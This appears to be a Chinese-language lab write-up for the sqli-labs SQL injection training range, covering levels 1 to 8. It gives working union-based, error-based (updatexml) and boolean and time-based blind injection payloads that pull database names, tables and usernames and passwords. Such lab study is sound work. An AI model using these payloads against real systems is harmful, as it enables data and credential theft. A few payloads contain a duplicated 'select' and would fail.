sql注入靶场练习--sqlilabs
1.less-1
-
直接注入
1.测试发现单引号为逃逸符号
id=1' --+ //将后面的语句注释
2.确定查询列数为三列
id=1' order by 3 --+
3.查询到数据库名
-
得保证id的值不存在
id=100' union select 1, user(), database() --+
4.查询数据库中的表名
id=asdfad' union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+
5.查询用户表的列名字
id=asdfaf' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
6.查询用户信息
id=asdfaf' union select 1,group_concat(username), group_concat(password) from users --+
2.less-2
-
直接注入
-
就这一关是数字型注入，不需要逃逸其他第一关没有区别
2.确定查询列数为三列
id=1 order by 3 --+
3.查询到数据库名
id=100 union select 1, user(), database() --+
4.查询数据库中的表名
id=1000 union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+
5.查询用户表的列名字
id=100 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
6.查询用户信息
id=100 union select 1,group_concat(username), group_concat(password) from users --+
less-3

直接注入

还是一样就逃逸方式不同
2.确定查询列数为三列
id=1') order by 3 --+
3.查询到数据库名
id=100') union select 1, user(), database() --+
4.查询数据库中的表名
id=1000') union select 1, 2 , group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'--+
5.查询用户表的列名字
id=100') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
6.查询用户信息
id=100') union select 1,group_concat(username), group_concat(password) from users --+

less-5

报错注入
-
这里首先用到了updatexml（目标xml文档，xml路径，更新的内容）函数
-
这只是一个普通的函数但是 updatexml函数具有查询功能 并且会再xpath处查询 你将语法构造错误(~这个符号出现会报错 16进制 0x7e) 然后它就会将他查询的结果已报错的形式显示出来 然后说到concat函数(字符串1，字符串2，字符串。。。。） 在其中放入可执行函数会被执行，ps：需要用（）将其包裹如下
3.查询到数据库名
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
4.查询数据库中的表名
id=1' and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+
5.查询用户表的列名字
id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+
6.查询用户信息
id=1' and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+ //由于显示长度有限所以 分段截取
less-6
-
报错注入
-
与less5相比只是用双引号闭合了
3.查询到数据库名
id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
4.查询数据库中的表名
id=1" and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+
5.查询用户表的列名字
id=1" and updatexml(1,concat(0x7e,(select select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+
6.查询用户信息
id=1" and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+ //由于显示长度有限所以 分段截取
less-7

3.查询到数据库名
id=1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
4.查询数据库中的表名
id=1')) and updatexml(1,concat(0x7e,(select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'),0x7e),1)--+
5.查询用户表的列名字
id=1')) and updatexml(1,concat(0x7e,(select select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),0x7e),1)--+
6.查询用户信息
id=1')) and updatexml(1,substr(concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1,32),1)--+ //由于显示长度有限所以 分段截取
less-8
-
这里可以看到它既没有给查询结果返回，也没有给报错处理，只给了对了打印一句话
-
盲注：bool盲注
id=1' and 1=1 --+
id=1' and 1=0 --+
-
同理我们是否也可以通过这判断数据库名的对错来注入出想要的结果，由于可见字符皆有可能，我们发现ascii码更加好比对
id=1' and ascii(substr(database(),1,1))=115 --+
-
自己一个一个试效率太低了，试试脚本吧
3.注入
-
查询数据库名：database()
-
查询表名:select group_concat(distinct table_name) from information_schema.columns where table_schema = 'security'
-
查询字段名 :select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'
-
查用户信息：select group_concat(username,0x3a,password) from users

这里可以看到它既没有给查询结果返回，也没有给报错处理，甚至一句话也没有
-
盲注：时间盲注
1' and if(ascii(substr(database(), 1, 1)) = 115, sleep(3), 0)--+ // 如果条件正确则停留三秒 这种通过响应时间长短来判断对错的称为时间盲注
